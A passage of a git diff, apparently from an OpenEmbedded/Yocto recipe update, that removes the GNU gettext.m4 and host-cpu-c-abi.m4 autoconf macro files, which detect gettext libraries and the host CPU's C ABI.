-# gettext.m4 serial 71 (gettext-0.20.2)
-dnl Copyright (C) 1995-2014, 2016, 2018-2020 Free Software Foundation, Inc.
-dnl This file is free software; the Free Software Foundation
-dnl gives unlimited permission to copy and/or distribute it,
-dnl with or without modifications, as long as this notice is preserved.
-dnl
-dnl This file can be used in projects which are not available under
-dnl the GNU General Public License or the GNU Lesser General Public
-dnl License but which still want to provide support for the GNU gettext
-dnl functionality.
-dnl Please note that the actual code of the GNU gettext library is covered
-dnl by the GNU Lesser General Public License, and the rest of the GNU
-dnl gettext package is covered by the GNU General Public License.
-dnl They are *not* in the public domain.
-
-dnl Authors:
-dnl Ulrich Drepper <drepper@cygnus.com>, 1995-2000.
-dnl Bruno Haible <haible@clisp.cons.org>, 2000-2006, 2008-2010.
-
-dnl Macro to add for using GNU gettext.
-
-dnl Usage: AM_GNU_GETTEXT([INTLSYMBOL], [NEEDSYMBOL], [INTLDIR]).
-dnl INTLSYMBOL must be one of 'external', 'use-libtool'.
-dnl INTLSYMBOL should be 'external' for packages other than GNU gettext, and
-dnl 'use-libtool' for the packages 'gettext-runtime' and 'gettext-tools'.
-dnl If INTLSYMBOL is 'use-libtool', then a libtool library
-dnl $(top_builddir)/intl/libintl.la will be created (shared and/or static,
-dnl depending on --{enable,disable}-{shared,static} and on the presence of
-dnl AM-DISABLE-SHARED).
-dnl If NEEDSYMBOL is specified and is 'need-ngettext', then GNU gettext
-dnl implementations (in libc or libintl) without the ngettext() function
-dnl will be ignored. If NEEDSYMBOL is specified and is
-dnl 'need-formatstring-macros', then GNU gettext implementations that don't
-dnl support the ISO C 99 <inttypes.h> formatstring macros will be ignored.
-dnl INTLDIR is used to find the intl libraries. If empty,
-dnl the value '$(top_builddir)/intl/' is used.
-dnl
-dnl The result of the configuration is one of three cases:
-dnl 1) GNU gettext, as included in the intl subdirectory, will be compiled
-dnl and used.
-dnl Catalog format: GNU --> install in $(datadir)
-dnl Catalog extension: .mo after installation, .gmo in source tree
-dnl 2) GNU gettext has been found in the system's C library.
-dnl Catalog format: GNU --> install in $(datadir)
-dnl Catalog extension: .mo after installation, .gmo in source tree
-dnl 3) No internationalization, always use English msgid.
-dnl Catalog format: none
-dnl Catalog extension: none
-dnl If INTLSYMBOL is 'external', only cases 2 and 3 can occur.
-dnl The use of .gmo is historical (it was needed to avoid overwriting the
-dnl GNU format catalogs when building on a platform with an X/Open gettext),
-dnl but we keep it in order not to force irrelevant filename changes on the
-dnl maintainers.
-dnl
-AC_DEFUN([AM_GNU_GETTEXT],
-[
- dnl Argument checking.
- ifelse([$1], [], , [ifelse([$1], [external], , [ifelse([$1], [use-libtool], ,
- [errprint([ERROR: invalid first argument to AM_GNU_GETTEXT
-])])])])
- ifelse(ifelse([$1], [], [old])[]ifelse([$1], [no-libtool], [old]), [old],
- [errprint([ERROR: Use of AM_GNU_GETTEXT without [external] argument is no longer supported.
-])])
- ifelse([$2], [], , [ifelse([$2], [need-ngettext], , [ifelse([$2], [need-formatstring-macros], ,
- [errprint([ERROR: invalid second argument to AM_GNU_GETTEXT
-])])])])
- define([gt_included_intl],
- ifelse([$1], [external], [no], [yes]))
- gt_NEEDS_INIT
- AM_GNU_GETTEXT_NEED([$2])
-
- AC_REQUIRE([AM_PO_SUBDIRS])dnl
- ifelse(gt_included_intl, yes, [
- AC_REQUIRE([AM_INTL_SUBDIR])dnl
- ])
-
- dnl Prerequisites of AC_LIB_LINKFLAGS_BODY.
- AC_REQUIRE([AC_LIB_PREPARE_PREFIX])
- AC_REQUIRE([AC_LIB_RPATH])
-
- dnl Sometimes libintl requires libiconv, so first search for libiconv.
- dnl Ideally we would do this search only after the
- dnl if test "$USE_NLS" = "yes"; then
- dnl if { eval "gt_val=\$$gt_func_gnugettext_libc"; test "$gt_val" != "yes"; }; then
- dnl tests. But if configure.in invokes AM_ICONV after AM_GNU_GETTEXT
- dnl the configure script would need to contain the same shell code
- dnl again, outside any 'if'. There are two solutions:
- dnl - Invoke AM_ICONV_LINKFLAGS_BODY here, outside any 'if'.
- dnl - Control the expansions in more detail using AC_PROVIDE_IFELSE.
- dnl Since AC_PROVIDE_IFELSE is not documented, we avoid it.
- ifelse(gt_included_intl, yes, , [
- AC_REQUIRE([AM_ICONV_LINKFLAGS_BODY])
- ])
-
- dnl Sometimes, on Mac OS X, libintl requires linking with CoreFoundation.
- gt_INTL_MACOSX
-
- dnl Set USE_NLS.
- AC_REQUIRE([AM_NLS])
-
- ifelse(gt_included_intl, yes, [
- BUILD_INCLUDED_LIBINTL=no
- USE_INCLUDED_LIBINTL=no
- ])
- LIBINTL=
- LTLIBINTL=
- POSUB=
-
- dnl Add a version number to the cache macros.
- case " $gt_needs " in
- *" need-formatstring-macros "*) gt_api_version=3 ;;
- *" need-ngettext "*) gt_api_version=2 ;;
- *) gt_api_version=1 ;;
- esac
- gt_func_gnugettext_libc="gt_cv_func_gnugettext${gt_api_version}_libc"
- gt_func_gnugettext_libintl="gt_cv_func_gnugettext${gt_api_version}_libintl"
-
- dnl If we use NLS figure out what method
- if test "$USE_NLS" = "yes"; then
- gt_use_preinstalled_gnugettext=no
- ifelse(gt_included_intl, yes, [
- AC_MSG_CHECKING([whether included gettext is requested])
- AC_ARG_WITH([included-gettext],
- [ --with-included-gettext use the GNU gettext library included here],
- nls_cv_force_use_gnu_gettext=$withval,
- nls_cv_force_use_gnu_gettext=no)
- AC_MSG_RESULT([$nls_cv_force_use_gnu_gettext])
-
- nls_cv_use_gnu_gettext="$nls_cv_force_use_gnu_gettext"
- if test "$nls_cv_force_use_gnu_gettext" != "yes"; then
- ])
- dnl User does not insist on using GNU NLS library. Figure out what
- dnl to use. If GNU gettext is available we use this. Else we have
- dnl to fall back to GNU NLS library.
-
- if test $gt_api_version -ge 3; then
- gt_revision_test_code='
-#ifndef __GNU_GETTEXT_SUPPORTED_REVISION
-#define __GNU_GETTEXT_SUPPORTED_REVISION(major) ((major) == 0 ? 0 : -1)
-#endif
-changequote(,)dnl
-typedef int array [2 * (__GNU_GETTEXT_SUPPORTED_REVISION(0) >= 1) - 1];
-changequote([,])dnl
-'
- else
- gt_revision_test_code=
- fi
- if test $gt_api_version -ge 2; then
- gt_expression_test_code=' + * ngettext ("", "", 0)'
- else
- gt_expression_test_code=
- fi
-
- AC_CACHE_CHECK([for GNU gettext in libc], [$gt_func_gnugettext_libc],
- [AC_LINK_IFELSE(
- [AC_LANG_PROGRAM(
- [[
-#include <libintl.h>
-#ifndef __GNU_GETTEXT_SUPPORTED_REVISION
-extern int _nl_msg_cat_cntr;
-extern int *_nl_domain_bindings;
-#define __GNU_GETTEXT_SYMBOL_EXPRESSION (_nl_msg_cat_cntr + *_nl_domain_bindings)
-#else
-#define __GNU_GETTEXT_SYMBOL_EXPRESSION 0
-#endif
-$gt_revision_test_code
- ]],
- [[
-bindtextdomain ("", "");
-return * gettext ("")$gt_expression_test_code + __GNU_GETTEXT_SYMBOL_EXPRESSION
- ]])],
- [eval "$gt_func_gnugettext_libc=yes"],
- [eval "$gt_func_gnugettext_libc=no"])])
-
- if { eval "gt_val=\$$gt_func_gnugettext_libc"; test "$gt_val" != "yes"; }; then
- dnl Sometimes libintl requires libiconv, so first search for libiconv.
- ifelse(gt_included_intl, yes, , [
- AM_ICONV_LINK
- ])
- dnl Search for libintl and define LIBINTL, LTLIBINTL and INCINTL
- dnl accordingly. Don't use AC_LIB_LINKFLAGS_BODY([intl],[iconv])
- dnl because that would add "-liconv" to LIBINTL and LTLIBINTL
- dnl even if libiconv doesn't exist.
- AC_LIB_LINKFLAGS_BODY([intl])
- AC_CACHE_CHECK([for GNU gettext in libintl],
- [$gt_func_gnugettext_libintl],
- [gt_save_CPPFLAGS="$CPPFLAGS"
- CPPFLAGS="$CPPFLAGS $INCINTL"
- gt_save_LIBS="$LIBS"
- LIBS="$LIBS $LIBINTL"
- dnl Now see whether libintl exists and does not depend on libiconv.
- AC_LINK_IFELSE(
- [AC_LANG_PROGRAM(
- [[
-#include <libintl.h>
-#ifndef __GNU_GETTEXT_SUPPORTED_REVISION
-extern int _nl_msg_cat_cntr;
-extern
-#ifdef __cplusplus
-"C"
-#endif
-const char *_nl_expand_alias (const char *);
-#define __GNU_GETTEXT_SYMBOL_EXPRESSION (_nl_msg_cat_cntr + *_nl_expand_alias (""))
-#else
-#define __GNU_GETTEXT_SYMBOL_EXPRESSION 0
-#endif
-$gt_revision_test_code
- ]],
- [[
-bindtextdomain ("", "");
-return * gettext ("")$gt_expression_test_code + __GNU_GETTEXT_SYMBOL_EXPRESSION
- ]])],
- [eval "$gt_func_gnugettext_libintl=yes"],
- [eval "$gt_func_gnugettext_libintl=no"])
- dnl Now see whether libintl exists and depends on libiconv.
- if { eval "gt_val=\$$gt_func_gnugettext_libintl"; test "$gt_val" != yes; } && test -n "$LIBICONV"; then
- LIBS="$LIBS $LIBICONV"
- AC_LINK_IFELSE(
- [AC_LANG_PROGRAM(
- [[
-#include <libintl.h>
-#ifndef __GNU_GETTEXT_SUPPORTED_REVISION
-extern int _nl_msg_cat_cntr;
-extern
-#ifdef __cplusplus
-"C"
-#endif
-const char *_nl_expand_alias (const char *);
-#define __GNU_GETTEXT_SYMBOL_EXPRESSION (_nl_msg_cat_cntr + *_nl_expand_alias (""))
-#else
-#define __GNU_GETTEXT_SYMBOL_EXPRESSION 0
-#endif
-$gt_revision_test_code
- ]],
- [[
-bindtextdomain ("", "");
-return * gettext ("")$gt_expression_test_code + __GNU_GETTEXT_SYMBOL_EXPRESSION
- ]])],
- [LIBINTL="$LIBINTL $LIBICONV"
- LTLIBINTL="$LTLIBINTL $LTLIBICONV"
- eval "$gt_func_gnugettext_libintl=yes"
- ])
- fi
- CPPFLAGS="$gt_save_CPPFLAGS"
- LIBS="$gt_save_LIBS"])
- fi
-
- dnl If an already present or preinstalled GNU gettext() is found,
- dnl use it. But if this macro is used in GNU gettext, and GNU
- dnl gettext is already preinstalled in libintl, we update this
- dnl libintl. (Cf. the install rule in intl/Makefile.in.)
- if { eval "gt_val=\$$gt_func_gnugettext_libc"; test "$gt_val" = "yes"; } \
- || { { eval "gt_val=\$$gt_func_gnugettext_libintl"; test "$gt_val" = "yes"; } \
- && test "$PACKAGE" != gettext-runtime \
- && test "$PACKAGE" != gettext-tools; }; then
- gt_use_preinstalled_gnugettext=yes
- else
- dnl Reset the values set by searching for libintl.
- LIBINTL=
- LTLIBINTL=
- INCINTL=
- fi
-
- ifelse(gt_included_intl, yes, [
- if test "$gt_use_preinstalled_gnugettext" != "yes"; then
- dnl GNU gettext is not found in the C library.
- dnl Fall back on included GNU gettext library.
- nls_cv_use_gnu_gettext=yes
- fi
- fi
-
- if test "$nls_cv_use_gnu_gettext" = "yes"; then
- dnl Mark actions used to generate GNU NLS library.
- BUILD_INCLUDED_LIBINTL=yes
- USE_INCLUDED_LIBINTL=yes
- LIBINTL="ifelse([$3],[],\${top_builddir}/intl,[$3])/libintl.la $LIBICONV $LIBTHREAD"
- LTLIBINTL="ifelse([$3],[],\${top_builddir}/intl,[$3])/libintl.la $LTLIBICONV $LTLIBTHREAD"
- LIBS=`echo " $LIBS " | sed -e 's/ -lintl / /' -e 's/^ //' -e 's/ $//'`
- fi
-
- CATOBJEXT=
- if test "$gt_use_preinstalled_gnugettext" = "yes" \
- || test "$nls_cv_use_gnu_gettext" = "yes"; then
- dnl Mark actions to use GNU gettext tools.
- CATOBJEXT=.gmo
- fi
- ])
-
- if test -n "$INTL_MACOSX_LIBS"; then
- if test "$gt_use_preinstalled_gnugettext" = "yes" \
- || test "$nls_cv_use_gnu_gettext" = "yes"; then
- dnl Some extra flags are needed during linking.
- LIBINTL="$LIBINTL $INTL_MACOSX_LIBS"
- LTLIBINTL="$LTLIBINTL $INTL_MACOSX_LIBS"
- fi
- fi
-
- if test "$gt_use_preinstalled_gnugettext" = "yes" \
- || test "$nls_cv_use_gnu_gettext" = "yes"; then
- AC_DEFINE([ENABLE_NLS], [1],
- [Define to 1 if translation of program messages to the user's native language
- is requested.])
- else
- USE_NLS=no
- fi
- fi
-
- AC_MSG_CHECKING([whether to use NLS])
- AC_MSG_RESULT([$USE_NLS])
- if test "$USE_NLS" = "yes"; then
- AC_MSG_CHECKING([where the gettext function comes from])
- if test "$gt_use_preinstalled_gnugettext" = "yes"; then
- if { eval "gt_val=\$$gt_func_gnugettext_libintl"; test "$gt_val" = "yes"; }; then
- gt_source="external libintl"
- else
- gt_source="libc"
- fi
- else
- gt_source="included intl directory"
- fi
- AC_MSG_RESULT([$gt_source])
- fi
-
- if test "$USE_NLS" = "yes"; then
-
- if test "$gt_use_preinstalled_gnugettext" = "yes"; then
- if { eval "gt_val=\$$gt_func_gnugettext_libintl"; test "$gt_val" = "yes"; }; then
- AC_MSG_CHECKING([how to link with libintl])
- AC_MSG_RESULT([$LIBINTL])
- AC_LIB_APPENDTOVAR([CPPFLAGS], [$INCINTL])
- fi
-
- dnl For backward compatibility. Some packages may be using this.
- AC_DEFINE([HAVE_GETTEXT], [1],
- [Define if the GNU gettext() function is already present or preinstalled.])
- AC_DEFINE([HAVE_DCGETTEXT], [1],
- [Define if the GNU dcgettext() function is already present or preinstalled.])
- fi
-
- dnl We need to process the po/ directory.
- POSUB=po
- fi
-
- ifelse(gt_included_intl, yes, [
- dnl In GNU gettext we have to set BUILD_INCLUDED_LIBINTL to 'yes'
- dnl because some of the testsuite requires it.
- BUILD_INCLUDED_LIBINTL=yes
-
- dnl Make all variables we use known to autoconf.
- AC_SUBST([BUILD_INCLUDED_LIBINTL])
- AC_SUBST([USE_INCLUDED_LIBINTL])
- AC_SUBST([CATOBJEXT])
- ])
-
- dnl For backward compatibility. Some Makefiles may be using this.
- INTLLIBS="$LIBINTL"
- AC_SUBST([INTLLIBS])
-
- dnl Make all documented variables known to autoconf.
- AC_SUBST([LIBINTL])
- AC_SUBST([LTLIBINTL])
- AC_SUBST([POSUB])
-])
-
-
-dnl gt_NEEDS_INIT ensures that the gt_needs variable is initialized.
-m4_define([gt_NEEDS_INIT],
-[
- m4_divert_text([DEFAULTS], [gt_needs=])
- m4_define([gt_NEEDS_INIT], [])
-])
-
-
-dnl Usage: AM_GNU_GETTEXT_NEED([NEEDSYMBOL])
-AC_DEFUN([AM_GNU_GETTEXT_NEED],
-[
- m4_divert_text([INIT_PREPARE], [gt_needs="$gt_needs $1"])
-])
-
-
-dnl Usage: AM_GNU_GETTEXT_VERSION([gettext-version])
-AC_DEFUN([AM_GNU_GETTEXT_VERSION], [])
-
-
-dnl Usage: AM_GNU_GETTEXT_REQUIRE_VERSION([gettext-version])
-AC_DEFUN([AM_GNU_GETTEXT_REQUIRE_VERSION], [])
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/host-cpu-c-abi.m4 b/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/host-cpu-c-abi.m4
deleted file mode 100644
index 6db2aa25ae..0000000000
--- a/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/host-cpu-c-abi.m4
+++ /dev/null
@@ -1,675 +0,0 @@
-# host-cpu-c-abi.m4 serial 13
-dnl Copyright (C) 2002-2020 Free Software Foundation, Inc.
-dnl This file is free software; the Free Software Foundation
-dnl gives unlimited permission to copy and/or distribute it,
-dnl with or without modifications, as long as this notice is preserved.
-
-dnl From Bruno Haible and Sam Steingold.
-
-dnl Sets the HOST_CPU variable to the canonical name of the CPU.
-dnl Sets the HOST_CPU_C_ABI variable to the canonical name of the CPU with its
-dnl C language ABI (application binary interface).
-dnl Also defines __${HOST_CPU}__ and __${HOST_CPU_C_ABI}__ as C macros in
-dnl config.h.
-dnl
-dnl This canonical name can be used to select a particular assembly language
-dnl source file that will interoperate with C code on the given host.
-dnl
-dnl For example:
-dnl * 'i386' and 'sparc' are different canonical names, because code for i386
-dnl will not run on SPARC CPUs and vice versa. They have different
-dnl instruction sets.
-dnl * 'sparc' and 'sparc64' are different canonical names, because code for
-dnl 'sparc' and code for 'sparc64' cannot be linked together: 'sparc' code
-dnl contains 32-bit instructions, whereas 'sparc64' code contains 64-bit
-dnl instructions. A process on a SPARC CPU can be in 32-bit mode or in 64-bit
-dnl mode, but not both.
-dnl * 'mips' and 'mipsn32' are different canonical names, because they use
-dnl different argument passing and return conventions for C functions, and
-dnl although the instruction set of 'mips' is a large subset of the
-dnl instruction set of 'mipsn32'.
-dnl * 'mipsn32' and 'mips64' are different canonical names, because they use
-dnl different sizes for the C types like 'int' and 'void *', and although
-dnl the instruction sets of 'mipsn32' and 'mips64' are the same.
-dnl * The same canonical name is used for different endiannesses. You can
-dnl determine the endianness through preprocessor symbols:
-dnl - 'arm': test __ARMEL__.
-dnl - 'mips', 'mipsn32', 'mips64': test _MIPSEB vs. _MIPSEL.
-dnl - 'powerpc64': test _BIG_ENDIAN vs. _LITTLE_ENDIAN.
-dnl * The same name 'i386' is used for CPUs of type i386, i486, i586
-dnl (Pentium), AMD K7, Pentium II, Pentium IV, etc., because
-dnl - Instructions that do not exist on all of these CPUs (cmpxchg,
-dnl MMX, SSE, SSE2, 3DNow! etc.) are not frequently used. If your
-dnl assembly language source files use such instructions, you will
-dnl need to make the distinction.
-dnl - Speed of execution of the common instruction set is reasonable across
-dnl the entire family of CPUs. If you have assembly language source files
-dnl that are optimized for particular CPU types (like GNU gmp has), you
-dnl will need to make the distinction.
-dnl See <https://en.wikipedia.org/wiki/X86_instruction_listings>.
-AC_DEFUN([gl_HOST_CPU_C_ABI],
-[
- AC_REQUIRE([AC_CANONICAL_HOST])
- AC_REQUIRE([gl_C_ASM])
- AC_CACHE_CHECK([host CPU and C ABI], [gl_cv_host_cpu_c_abi],
- [case "$host_cpu" in
-
-changequote(,)dnl
- i[34567]86 )
-changequote([,])dnl
- gl_cv_host_cpu_c_abi=i386
- ;;
-
- x86_64 )
- # On x86_64 systems, the C compiler may be generating code in one of
- # these ABIs:
- # - 64-bit instruction set, 64-bit pointers, 64-bit 'long': x86_64.
- # - 64-bit instruction set, 64-bit pointers, 32-bit 'long': x86_64
- # with native Windows (mingw, MSVC).
- # - 64-bit instruction set, 32-bit pointers, 32-bit 'long': x86_64-x32.
- # - 32-bit instruction set, 32-bit pointers, 32-bit 'long': i386.
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#if (defined __x86_64__ || defined __amd64__ \
- || defined _M_X64 || defined _M_AMD64)
- int ok;
- #else
- error fail
- #endif
- ]])],
- [AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#if defined __ILP32__ || defined _ILP32
- int ok;
- #else
- error fail
- #endif
- ]])],
- [gl_cv_host_cpu_c_abi=x86_64-x32],
- [gl_cv_host_cpu_c_abi=x86_64])],
- [gl_cv_host_cpu_c_abi=i386])
- ;;
-
-changequote(,)dnl
- alphaev[4-8] | alphaev56 | alphapca5[67] | alphaev6[78] )
-changequote([,])dnl
- gl_cv_host_cpu_c_abi=alpha
- ;;
-
- arm* | aarch64 )
- # Assume arm with EABI.
- # On arm64 systems, the C compiler may be generating code in one of
- # these ABIs:
- # - aarch64 instruction set, 64-bit pointers, 64-bit 'long': arm64.
- # - aarch64 instruction set, 32-bit pointers, 32-bit 'long': arm64-ilp32.
- # - 32-bit instruction set, 32-bit pointers, 32-bit 'long': arm or armhf.
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#ifdef __aarch64__
- int ok;
- #else
- error fail
- #endif
- ]])],
- [AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#if defined __ILP32__ || defined _ILP32
- int ok;
- #else
- error fail
- #endif
- ]])],
- [gl_cv_host_cpu_c_abi=arm64-ilp32],
- [gl_cv_host_cpu_c_abi=arm64])],
- [# Don't distinguish little-endian and big-endian arm, since they
- # don't require different machine code for simple operations and
- # since the user can distinguish them through the preprocessor
- # defines __ARMEL__ vs. __ARMEB__.
- # But distinguish arm which passes floating-point arguments and
- # return values in integer registers (r0, r1, ...) - this is
- # gcc -mfloat-abi=soft or gcc -mfloat-abi=softfp - from arm which
- # passes them in float registers (s0, s1, ...) and double registers
- # (d0, d1, ...) - this is gcc -mfloat-abi=hard. GCC 4.6 or newer
- # sets the preprocessor defines __ARM_PCS (for the first case) and
- # __ARM_PCS_VFP (for the second case), but older GCC does not.
- echo 'double ddd; void func (double dd) { ddd = dd; }' > conftest.c
- # Look for a reference to the register d0 in the .s file.
- AC_TRY_COMMAND(${CC-cc} $CFLAGS $CPPFLAGS $gl_c_asm_opt conftest.c) >/dev/null 2>&1
- if LC_ALL=C grep 'd0,' conftest.$gl_asmext >/dev/null; then
- gl_cv_host_cpu_c_abi=armhf
- else
- gl_cv_host_cpu_c_abi=arm
- fi
- rm -f conftest*
- ])
- ;;
-
- hppa1.0 | hppa1.1 | hppa2.0* | hppa64 )
- # On hppa, the C compiler may be generating 32-bit code or 64-bit
- # code. In the latter case, it defines _LP64 and __LP64__.
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#ifdef __LP64__
- int ok;
- #else
- error fail
- #endif
- ]])],
- [gl_cv_host_cpu_c_abi=hppa64],
- [gl_cv_host_cpu_c_abi=hppa])
- ;;
-
- ia64* )
- # On ia64 on HP-UX, the C compiler may be generating 64-bit code or
- # 32-bit code. In the latter case, it defines _ILP32.
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#ifdef _ILP32
- int ok;
- #else
- error fail
- #endif
- ]])],
- [gl_cv_host_cpu_c_abi=ia64-ilp32],
- [gl_cv_host_cpu_c_abi=ia64])
- ;;
-
- mips* )
- # We should also check for (_MIPS_SZPTR == 64), but gcc keeps this
- # at 32.
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#if defined _MIPS_SZLONG && (_MIPS_SZLONG == 64)
- int ok;
- #else
- error fail
- #endif
- ]])],
- [gl_cv_host_cpu_c_abi=mips64],
- [# In the n32 ABI, _ABIN32 is defined, _ABIO32 is not defined (but
- # may later get defined by <sgidefs.h>), and _MIPS_SIM == _ABIN32.
- # In the 32 ABI, _ABIO32 is defined, _ABIN32 is not defined (but
- # may later get defined by <sgidefs.h>), and _MIPS_SIM == _ABIO32.
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#if (_MIPS_SIM == _ABIN32)
- int ok;
- #else
- error fail
- #endif
- ]])],
- [gl_cv_host_cpu_c_abi=mipsn32],
- [gl_cv_host_cpu_c_abi=mips])])
- ;;
-
- powerpc* )
- # Different ABIs are in use on AIX vs. Mac OS X vs. Linux,*BSD.
- # No need to distinguish them here; the caller may distinguish
- # them based on the OS.
- # On powerpc64 systems, the C compiler may still be generating
- # 32-bit code. And on powerpc-ibm-aix systems, the C compiler may
- # be generating 64-bit code.
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#if defined __powerpc64__ || defined _ARCH_PPC64
- int ok;
- #else
- error fail
- #endif
- ]])],
- [# On powerpc64, there are two ABIs on Linux: The AIX compatible
- # one and the ELFv2 one. The latter defines _CALL_ELF=2.
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#if defined _CALL_ELF && _CALL_ELF == 2
- int ok;
- #else
- error fail
- #endif
- ]])],
- [gl_cv_host_cpu_c_abi=powerpc64-elfv2],
- [gl_cv_host_cpu_c_abi=powerpc64])
- ],
- [gl_cv_host_cpu_c_abi=powerpc])
- ;;
-
- rs6000 )
- gl_cv_host_cpu_c_abi=powerpc
- ;;
-
- riscv32 | riscv64 )
- # There are 2 architectures (with variants): rv32* and rv64*.
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#if __riscv_xlen == 64
- int ok;
- #else
- error fail
- #endif
- ]])],
- [cpu=riscv64],
- [cpu=riscv32])
- # There are 6 ABIs: ilp32, ilp32f, ilp32d, lp64, lp64f, lp64d.
- # Size of 'long' and 'void *':
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#if defined __LP64__
- int ok;
- #else
- error fail
- #endif
- ]])],
- [main_abi=lp64],
- [main_abi=ilp32])
- # Float ABIs:
- # __riscv_float_abi_double:
- # 'float' and 'double' are passed in floating-point registers.
- # __riscv_float_abi_single:
- # 'float' are passed in floating-point registers.
- # __riscv_float_abi_soft:
- # No values are passed in floating-point registers.
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#if defined __riscv_float_abi_double
- int ok;
- #else
- error fail
- #endif
- ]])],
- [float_abi=d],
- [AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#if defined __riscv_float_abi_single
- int ok;
- #else
- error fail
- #endif
- ]])],
- [float_abi=f],
- [float_abi=''])
- ])
- gl_cv_host_cpu_c_abi="${cpu}-${main_abi}${float_abi}"
- ;;
-
- s390* )
- # On s390x, the C compiler may be generating 64-bit (= s390x) code
- # or 31-bit (= s390) code.
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#if defined __LP64__ || defined __s390x__
- int ok;
- #else
- error fail
- #endif
- ]])],
- [gl_cv_host_cpu_c_abi=s390x],
- [gl_cv_host_cpu_c_abi=s390])
- ;;
-
- sparc | sparc64 )
- # UltraSPARCs running Linux have `uname -m` = "sparc64", but the
- # C compiler still generates 32-bit code.
- AC_COMPILE_IFELSE(
- [AC_LANG_SOURCE(
- [[#if defined __sparcv9 || defined __arch64__
- int ok;
- #else
- error fail
- #endif
- ]])],
- [gl_cv_host_cpu_c_abi=sparc64],
- [gl_cv_host_cpu_c_abi=sparc])
- ;;
-
- *)
- gl_cv_host_cpu_c_abi="$host_cpu"
- ;;
- esac
- ])
-
- dnl In most cases, $HOST_CPU and $HOST_CPU_C_ABI are the same.
- HOST_CPU=`echo "$gl_cv_host_cpu_c_abi" | sed -e 's/-.*//'`
- HOST_CPU_C_ABI="$gl_cv_host_cpu_c_abi"
- AC_SUBST([HOST_CPU])
- AC_SUBST([HOST_CPU_C_ABI])
-
- # This was
- # AC_DEFINE_UNQUOTED([__${HOST_CPU}__])
- # AC_DEFINE_UNQUOTED([__${HOST_CPU_C_ABI}__])
- # earlier, but KAI C++ 3.2d doesn't like this.
- sed -e 's/-/_/g' >> confdefs.h <<EOF
-#ifndef __${HOST_CPU}__
-#define __${HOST_CPU}__ 1
-#endif
-#ifndef __${HOST_CPU_C_ABI}__
-#define __${HOST_CPU_C_ABI}__ 1
-#endif
-EOF
- AH_TOP([/* CPU and C ABI indicator */
-#ifndef __i386__
-#undef __i386__
-#endif
-#ifndef __x86_64_x32__
-#undef __x86_64_x32__
-#endif
-#ifndef __x86_64__
-#undef __x86_64__
-#endif
-#ifndef __alpha__
-#undef __alpha__
-#endif
-#ifndef __arm__
-#undef __arm__
-#endif
-#ifndef __armhf__
-#undef __armhf__
-#endif
-#ifndef __arm64_ilp32__
-#undef __arm64_ilp32__
-#endif
-#ifndef __arm64__
-#undef __arm64__
-#endif
-#ifndef __hppa__
-#undef __hppa__
-#endif
-#ifndef __hppa64__
-#undef __hppa64__
-#endif
-#ifndef __ia64_ilp32__
-#undef __ia64_ilp32__
-#endif
-#ifndef __ia64__
-#undef __ia64__
-#endif
-#ifndef __m68k__
-#undef __m68k__
-#endif
-#ifndef __mips__
-#undef __mips__
-#endif
-#ifndef __mipsn32__
-#undef __mipsn32__
-#endif
-#ifndef __mips64__
-#undef __mips64__
-#endif
-#ifndef __powerpc__
-#undef __powerpc__
-#endif
-#ifndef __powerpc64__
-#undef __powerpc64__
-#endif
-#ifndef __powerpc64_elfv2__
-#undef __powerpc64_elfv2__
-#endif
-#ifndef __riscv32__
-#undef __riscv32__
-#endif
-#ifndef __riscv64__
-#undef __riscv64__
-#endif
-#ifndef __riscv32_ilp32__
-#undef __riscv32_ilp32__
-#endif
-#ifndef __riscv32_ilp32f__
-#undef __riscv32_ilp32f__
-#endif
-#ifndef __riscv32_ilp32d__
-#undef __riscv32_ilp32d__
-#endif
-#ifndef __riscv64_ilp32__
-#undef __riscv64_ilp32__
-#endif
-#ifndef __riscv64_ilp32f__
-#undef __riscv64_ilp32f__
-#endif
-#ifndef __riscv64_ilp32d__
-#undef __riscv64_ilp32d__
-#endif
-#ifndef __riscv64_lp64__
-#undef __riscv64_lp64__
-#endif
-#ifndef __riscv64_lp64f__
-#undef __riscv64_lp64f__
-#endif
-#ifndef __riscv64_lp64d__
-#undef __riscv64_lp64d__
-#endif
-#ifndef __s390__
-#undef __s390__
-#endif
-#ifndef __s390x__
-#undef __s390x__
-#endif
-#ifndef __sh__
-#undef __sh__
-#endif
-#ifndef __sparc__
-#undef __sparc__
-#endif
-#ifndef __sparc64__
-#undef __sparc64__
-#endif
-])
-
-])
-
-
-dnl Sets the HOST_CPU_C_ABI_32BIT variable to 'yes' if the C language ABI
-dnl (application binary interface) is a 32-bit one, to 'no' if it is a 64-bit
-dnl one, or to 'unknown' if unknown.
-dnl This is a simplified variant of gl_HOST_CPU_C_ABI.
-AC_DEFUN([gl_HOST_CPU_C_ABI_32BIT],
-[
- AC_REQUIRE([AC_CANONICAL_HOST])
- AC_CACHE_CHECK([32-bit host C ABI], [gl_cv_host_cpu_c_abi_32bit],
- [if test -n "$gl_cv_host_cpu_c_abi"; then
- case "$gl_cv_host_cpu_c_abi" in
- i386 | x86_64-x32 | arm | armhf | arm64-ilp32 | hppa | ia64-ilp32 | mips | mipsn32 | powerpc | riscv*-ilp32* | s390 | sparc)
- gl_cv_host_cpu_c_abi_32bit=yes ;;
- x86_64 | alpha | arm64 | hppa64 | ia64 | mips64 | powerpc64 | powerpc64-elfv2 | riscv*-lp64* | s390x | sparc64 )
- gl_cv_host_cpu_c_abi_32bit=no ;;
- *)
- gl_cv_host_cpu_c_abi_32bit=unknown ;;
- esac
- else
- case "$host_cpu" in
-
